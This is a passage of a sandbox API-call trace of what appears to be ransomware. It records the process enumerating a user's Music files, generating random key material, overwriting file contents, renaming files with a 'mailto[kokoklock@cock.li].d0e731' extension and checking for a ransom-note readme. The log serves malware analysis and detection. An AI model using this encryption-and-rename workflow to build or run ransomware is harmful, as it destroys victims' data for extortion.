_Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\bp18etyN.m4a.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\bp18etyN.m4a.mailto[kokoklock@cock.li].d0e731" [0174.146] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2ff1520, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4e8 [0174.147] FindNextFileW (in: hFindFile=0x2f808a0, lpFindFileData=0x3021fe8 | out: lpFindFileData=0x3021fe8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86a50a82, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x86a50a82, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x86a50a82, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0174.147] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0174.147] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0174.147] FindNextFileW (in: hFindFile=0x2f808a0, lpFindFileData=0x3021fe8 | out: lpFindFileData=0x3021fe8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x570f7240, ftCreationTime.dwHighDateTime=0x1d4c5f0, ftLastAccessTime.dwLowDateTime=0x26f5960, ftLastAccessTime.dwHighDateTime=0x1d4cb24, ftLastWriteTime.dwLowDateTime=0x86ac31ca, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xe115, dwReserved0=0x0, dwReserved1=0x0, cFileName="fhfdqbFpa04KkHX10.mp3.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="FHFDQB~1.D0E")) returned 1 [0174.147] wcscmp (_String1="fhfdqbFpa04KkHX10.mp3.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0174.147] wcscmp (_String1="fhfdqbFpa04KkHX10.mp3.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0174.147] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xde) returned 0x2f98408 [0174.147] wcscpy (in: _Dest=0x2f98408, _Source="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18" [0174.147] wcscat (in: _Dest=0x2f98408, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\" [0174.147] wcscat (in: _Dest=0x2f98408, _Source="fhfdqbFpa04KkHX10.mp3.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\fhfdqbFpa04KkHX10.mp3.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\fhfdqbFpa04KkHX10.mp3.mailto[kokoklock@cock.li].d0e731" [0174.147] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f98408, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5dc [0174.148] FindNextFileW (in: hFindFile=0x2f808a0, lpFindFileData=0x3021fe8 | out: lpFindFileData=0x3021fe8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x570f7240, ftCreationTime.dwHighDateTime=0x1d4c5f0, ftLastAccessTime.dwLowDateTime=0x26f5960, ftLastAccessTime.dwHighDateTime=0x1d4cb24, ftLastWriteTime.dwLowDateTime=0x86ac31ca, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xe115, dwReserved0=0x0, dwReserved1=0x0, cFileName="fhfdqbFpa04KkHX10.mp3.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="FHFDQB~1.D0E")) returned 0 [0174.148] FindClose (in: hFindFile=0x2f808a0 | out: hFindFile=0x2f808a0) returned 1 [0174.149] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3021fe8) returned 1 [0174.149] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8b090) returned 1 [0174.149] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96b70) returned 1 [0174.149] RtlExitUserThread (Status=0x0) Thread: id = 2105 os_tid = 0x11cc [0173.322] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\kXmdmgc4Bx_C.mp3.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\gorxmbaxvtsgdsav\\kxmdmgc4bx_c.mp3.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0173.323] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\kXmdmgc4Bx_C.mp3.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0173.323] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\kXmdmgc4Bx_C.mp3.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\gorxmbaxvtsgdsav\\kxmdmgc4bx_c.mp3.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5cc [0173.323] GetFileSizeEx (in: hFile=0x5cc, lpFileSize=0x18c7fb04 | out: lpFileSize=0x18c7fb04*=6355) returned 1 [0173.323] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0x18cf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.323] ReadFile (in: hFile=0x5cc, lpBuffer=0x18c7fad8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18c7fad4, lpOverlapped=0x0 | out: lpBuffer=0x18c7fad8*, lpNumberOfBytesRead=0x18c7fad4*=0x4, lpOverlapped=0x0) returned 1 [0173.324] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.324] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053e20 [0173.324] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053fb0 [0173.324] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053fd8 [0173.324] NtQuerySystemTime (in: CurrentTime=0x18c7fab0 | out: CurrentTime=0x18c7fab0*=132121213306389705) returned 0x0 [0173.324] RtlRandom (in: Seed=0x18c7fabc | out: Seed=0x18c7fabc) returned 0xaba6b8bf [0173.324] RtlRandom (in: Seed=0x18c7fabc | out: Seed=0x18c7fabc) returned 0x9f6ad658 [0173.324] RtlRandom (in: Seed=0x18c7fabc | out: Seed=0x18c7fabc) returned 0x163f4a8d [0173.324] RtlRandom (in: Seed=0x18c7fabc | out: Seed=0x18c7fabc) returned 0xd33e8757 [0173.324] RtlRandom (in: Seed=0x18c7fabc | out: Seed=0x18c7fabc) returned 0x57dd076 [0173.324] RtlRandom (in: Seed=0x18c7fabc | out: Seed=0x18c7fabc) returned 0x70589eaa [0173.324] RtlRandom (in: Seed=0x18c7fabc | out: Seed=0x18c7fabc) returned 0x173a1583 [0173.324] RtlRandom (in: Seed=0x18c7fabc | out: Seed=0x18c7fabc) returned 0x5b467db5 [0173.324] RtlRandom (in: Seed=0x18c7fabc | out: Seed=0x18c7fabc) returned 0x7e14d231 [0173.324] RtlRandom (in: Seed=0x18c7fabc | out: Seed=0x18c7fabc) returned 0xff6b9f1d [0173.324] RtlRandom (in: Seed=0x18c7fabc | out: Seed=0x18c7fabc) returned 0xe092bd83 [0173.324] RtlRandom (in: Seed=0x18c7fabc | out: Seed=0x18c7fabc) returned 0x86eb8206 [0173.324] RtlRandom (in: Seed=0x18c7fabc | out: Seed=0x18c7fabc) returned 0x15cff562 [0173.324] RtlRandom (in: Seed=0x18c7fabc | out: Seed=0x18c7fabc) returned 0x65d7cfb5 [0173.325] RtlRandom (in: Seed=0x18c7fabc | out: Seed=0x18c7fabc) returned 0xd3d65b7f [0173.325] RtlRandom (in: Seed=0x18c7fabc | out: Seed=0x18c7fabc) returned 0x1fad6d29 [0173.325] RtlRandom (in: Seed=0x18c7fabc | out: Seed=0x18c7fabc) returned 0xfaa2b5aa [0173.325] RtlRandom (in: Seed=0x18c7fabc | out: Seed=0x18c7fabc) returned 0xb2b9daa0 [0173.325] RtlRandom (in: Seed=0x18c7fabc | out: Seed=0x18c7fabc) returned 0xa9edde75 [0173.325] RtlRandom (in: Seed=0x18c7fabc | out: Seed=0x18c7fabc) returned 0x6e6eb8aa [0173.325] RtlRandom (in: Seed=0x18c7fabc | out: Seed=0x18c7fabc) returned 0xe3d55273 [0173.325] RtlRandom (in: Seed=0x18c7fabc | out: Seed=0x18c7fabc) returned 0xffb04be4 [0173.325] RtlRandom (in: Seed=0x18c7fabc | out: Seed=0x18c7fabc) returned 0x41503466 [0173.325] RtlRandom (in: Seed=0x18c7fabc | out: Seed=0x18c7fabc) returned 0x44e0338d [0173.325] RtlRandom (in: Seed=0x18c7fabc | out: Seed=0x18c7fabc) returned 0xb2966b1a [0173.325] RtlRandom (in: Seed=0x18c7fabc | out: Seed=0x18c7fabc) returned 0xf5fe0fae [0173.325] RtlRandom (in: Seed=0x18c7fabc | out: Seed=0x18c7fabc) returned 0x7fad361 [0173.325] RtlRandom (in: Seed=0x18c7fabc | out: Seed=0x18c7fabc) returned 0x423935da [0173.325] RtlRandom (in: Seed=0x18c7fabc | out: Seed=0x18c7fabc) returned 0xb5f6e04b [0173.325] RtlRandom (in: Seed=0x18c7fabc | out: Seed=0x18c7fabc) returned 0x59acb366 [0173.325] RtlRandom (in: Seed=0x18c7fabc | out: Seed=0x18c7fabc) returned 0x4ab77330 [0173.325] RtlRandom (in: Seed=0x18c7fabc | out: Seed=0x18c7fabc) returned 0x120fcdf9 [0173.335] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053d58 [0173.337] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x30133c8 [0173.337] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3054000 [0173.337] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30133c8) returned 1 [0173.337] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053e20) returned 1 [0173.337] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87308 [0173.337] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013440 [0173.337] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053d30 [0173.337] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053d30) returned 1 [0173.337] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x4f02870 [0173.337] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0173.337] ReadFile (in: hFile=0x5cc, lpBuffer=0x4f02870, nNumberOfBytesToRead=0x18d3, lpNumberOfBytesRead=0x18c7fab0, lpOverlapped=0x0 | out: lpBuffer=0x4f02870*, lpNumberOfBytesRead=0x18c7fab0*=0x18d3, lpOverlapped=0x0) returned 1 [0173.338] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18c7fa78 | out: lpNewFilePointer=0x0) returned 1 [0173.338] WriteFile (in: hFile=0x5cc, lpBuffer=0x2fc6fd0*, nNumberOfBytesToWrite=0x18d3, lpNumberOfBytesWritten=0x18c7faac, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesWritten=0x18c7faac*=0x18d3, lpOverlapped=0x0) returned 1 [0173.338] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3054028 [0173.338] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053d30 [0173.338] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053d30) returned 1 [0173.338] WriteFile (in: hFile=0x5cc, lpBuffer=0x3054028*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18c7faa8, lpOverlapped=0x0 | out: lpBuffer=0x3054028*, lpNumberOfBytesWritten=0x18c7faa8*=0x20, lpOverlapped=0x0) returned 1 [0173.338] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054028) returned 1 [0173.338] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0173.338] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02870) returned 1 [0173.338] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013440) returned 1 [0173.338] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87308) returned 1 [0173.338] WriteFile (in: hFile=0x5cc, lpBuffer=0x3054000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18c7fad4, lpOverlapped=0x0 | out: lpBuffer=0x3054000*, lpNumberOfBytesWritten=0x18c7fad4*=0x8, lpOverlapped=0x0) returned 1 [0173.339] WriteFile (in: hFile=0x5cc, lpBuffer=0x18c7faec*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x18c7fad4, lpOverlapped=0x0 | out: lpBuffer=0x18c7faec*, lpNumberOfBytesWritten=0x18c7fad4*=0x4, lpOverlapped=0x0) returned 1 [0173.339] WriteFile (in: hFile=0x5cc, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x18c7fad4, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x18c7fad4*=0x4, lpOverlapped=0x0) returned 1 [0173.339] WriteFile (in: hFile=0x5cc, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x18c7fad4, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x18c7fad4*=0x6c, lpOverlapped=0x0) returned 1 [0173.339] WriteFile (in: hFile=0x5cc, lpBuffer=0x3053fb0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18c7fad4, lpOverlapped=0x0 | out: lpBuffer=0x3053fb0*, lpNumberOfBytesWritten=0x18c7fad4*=0x20, lpOverlapped=0x0) returned 1 [0173.339] WriteFile (in: hFile=0x5cc, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x18c7fad4, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x18c7fad4*=0x4, lpOverlapped=0x0) returned 1 [0173.339] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053fb0) returned 1 [0173.339] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053d58) returned 1 [0173.339] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054000) returned 1 [0173.339] CloseHandle (hObject=0x5cc) returned 1 [0173.339] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xf4) returned 0x2f85218 [0173.339] wcscpy (in: _Dest=0x2f85218, _Source="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\kXmdmgc4Bx_C.mp3.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\kXmdmgc4Bx_C.mp3.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\kXmdmgc4Bx_C.mp3.mailto[kokoklock@cock.li].d0e731" [0173.339] wcscat (in: _Dest=0x2f85218, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\kXmdmgc4Bx_C.mp3.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\kXmdmgc4Bx_C.mp3.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0173.339] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\kXmdmgc4Bx_C.mp3.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\gorxmbaxvtsgdsav\\kxmdmgc4bx_c.mp3.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\kXmdmgc4Bx_C.mp3.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\gorxmbaxvtsgdsav\\kxmdmgc4bx_c.mp3.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0173.340] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\kXmdmgc4Bx_C.mp3.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0173.340] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f85218) returned 1 [0173.340] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\kXmdmgc4Bx_C.mp3.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0173.341] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x74) returned 0x2f8ad90 [0173.341] wcscpy (in: _Dest=0x2f8ad90, _Source="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\" [0173.341] wcscat (in: _Dest=0x2f8ad90, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\D0E731-Readme.txt" [0173.341] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\music\\gorxmbaxvtsgdsav\\d0e731-readme.txt")) returned 0x20 [0173.341] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8ad90) returned 1 [0173.341] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9db30) returned 1 [0173.341] RtlExitUserThread (Status=0x1) Thread: id = 2106 os_tid = 0x11d0 [0173.345] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\vdJXCAf7Mzr8GnbL-_r.mp3.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\gorxmbaxvtsgdsav\\vdjxcaf7mzr8gnbl-_r.mp3.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0173.346] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\vdJXCAf7Mzr8GnbL-_r.mp3.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0173.346] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\vdJXCAf7Mzr8GnbL-_r.mp3.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\gorxmbaxvtsgdsav\\vdjxcaf7mzr8gnbl-_r.mp3.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5cc [0173.346] GetFileSizeEx (in: hFile=0x5cc, lpFileSize=0x18cff9b4 | out: lpFileSize=0x18cff9b4*=21101) returned 1 [0173.346] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0x5269, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.346] ReadFile (in: hFile=0x5cc, lpBuffer=0x18cff988, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18cff984, lpOverlapped=0x0 | out: lpBuffer=0x18cff988*, lpNumberOfBytesRead=0x18cff984*=0x4, lpOverlapped=0x0) returned 1 [0173.347] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.347] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053e20 [0173.347] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053fb0 [0173.347] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3054000 [0173.347] NtQuerySystemTime (in: CurrentTime=0x18cff960 | out: CurrentTime=0x18cff960*=132121213306545606) returned 0x0 [0173.347] RtlRandom (in: Seed=0x18cff96c | out: Seed=0x18cff96c) returned 0x5cc533b3 [0173.347] RtlRandom (in: Seed=0x18cff96c | out: Seed=0x18cff96c) returned 0xf863cbb [0173.347] RtlRandom (in: Seed=0x18cff96c | out: Seed=0x18cff96c) returned 0x210cb11e [0173.347] RtlRandom (in: Seed=0x18cff96c | out: Seed=0x18cff96c) returned 0x269d287c [0173.347] RtlRandom (in: Seed=0x18cff96c | out: Seed=0x18cff96c) returned 0x11168ee3 [0173.347] RtlRandom (in: Seed=0x18cff96c | out: Seed=0x18cff96c) returned 0xd66e7697 [0173.347] RtlRandom (in: Seed=0x18cff96c | out: Seed=0x18cff96c) returned 0x78b616e6 [0173.347] RtlRandom (in: Seed=0x18cff96c | out: Seed=0x18cff96c) returned 0xf6edc10 [0173.347] RtlRandom (in: Seed=0x18cff96c | out: Seed=0x18cff96c) returned 0x46b032dc [0173.347] RtlRandom (in: Seed=0x18cff96c | out: Seed=0x18cff96c) returned 0x75f8dc28 [0173.347] RtlRandom (in: Seed=0x18cff96c | out: Seed=0x18cff96c) returned 0xcb35da9b [0173.348] RtlRandom (in: Seed=0x18cff96c | out: Seed=0x18cff96c) returned 0x41da42eb [0173.348] RtlRandom (in: Seed=0x18cff96c | out: Seed=0x18cff96c) returned 0xba5989d8 [0173.348] RtlRandom (in: Seed=0x18cff96c | out: Seed=0x18cff96c) returned 0xf944e6fc [0173.348] RtlRandom (in: Seed=0x18cff96c | out: Seed=0x18cff96c) returned 0x936b4ada [0173.348] RtlRandom (in: Seed=0x18cff96c | out: Seed=0x18cff96c) returned 0x4f9c232b [0173.348] RtlRandom (in: Seed=0x18cff96c | out: Seed=0x18cff96c) returned 0x9de1b974 [0173.348] RtlRandom (in: Seed=0x18cff96c | out: Seed=0x18cff96c) returned 0x95caea24 [0173.348] RtlRandom (in: Seed=0x18cff96c | out: Seed=0x18cff96c) returned 0xa9d02114 [0173.348] RtlRandom (in: Seed=0x18cff96c | out: Seed=0x18cff96c) returned 0x12f4cce9 [0173.348] RtlRandom (in: Seed=0x18cff96c | out: Seed=0x18cff96c) returned 0xf8b3482e [0173.348] RtlRandom (in: Seed=0x18cff96c | out: Seed=0x18cff96c) returned 0x79d46385 [0173.348] RtlRandom (in: Seed=0x18cff96c | out: Seed=0x18cff96c) returned 0xedce96ce [0173.348] RtlRandom (in: Seed=0x18cff96c | out: Seed=0x18cff96c) returned 0x45ec4260 [0173.348] RtlRandom (in: Seed=0x18cff96c | out: Seed=0x18cff96c) returned 0x46fb5677 [0173.348] RtlRandom (in: Seed=0x18cff96c | out: Seed=0x18cff96c) returned 0x46c9b7ee [0173.348] RtlRandom (in: Seed=0x18cff96c | out: Seed=0x18cff96c) returned 0xb315a97d [0173.348] RtlRandom (in: Seed=0x18cff96c | out: Seed=0x18cff96c) returned 0x3ab034cb [0173.348] RtlRandom (in: Seed=0x18cff96c | out: Seed=0x18cff96c) returned 0x7d7bd881 [0173.348] RtlRandom (in: Seed=0x18cff96c | out: Seed=0x18cff96c) returned 0x9746286b [0173.348] RtlRandom (in: Seed=0x18cff96c | out: Seed=0x18cff96c) returned 0x9916a3f2 [0173.348] RtlRandom (in: Seed=0x18cff96c | out: Seed=0x18cff96c) returned 0xf9245258 [0173.357] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053d58 [0173.359] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x30133c8 [0173.359] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3054028 [0173.359] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30133c8) returned 1 [0173.359] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053e20) returned 1 [0173.359] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x4f02870 [0173.359] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.359] ReadFile (in: hFile=0x5cc, lpBuffer=0x4f02870, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x18cff938, lpOverlapped=0x0 | out: lpBuffer=0x4f02870*, lpNumberOfBytesRead=0x18cff938*=0x4096, lpOverlapped=0x0) returned 1 [0173.360] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.360] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87308 [0173.360] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013440 [0173.360] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053d30 [0173.360] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053d30) returned 1 [0173.360] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0173.361] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053b50 [0173.361] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053d30 [0173.361] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053d30) returned 1 [0173.361] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013440) returned 1 [0173.361] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87308) returned 1 [0173.361] WriteFile (in: hFile=0x5cc, lpBuffer=0x2fc6fd0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x18cff938, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesWritten=0x18cff938*=0x4096, lpOverlapped=0x0) returned 1 [0173.361] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0173.361] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0x526d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.361] WriteFile (in: hFile=0x5cc, lpBuffer=0x3053b50*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18cff970, lpOverlapped=0x0 | out: lpBuffer=0x3053b50*, lpNumberOfBytesWritten=0x18cff970*=0x20, lpOverlapped=0x0) returned 1 [0173.361] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053b50) returned 1 [0173.361] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02870) returned 1 [0173.361] WriteFile (in: hFile=0x5cc, lpBuffer=0x3054028*, 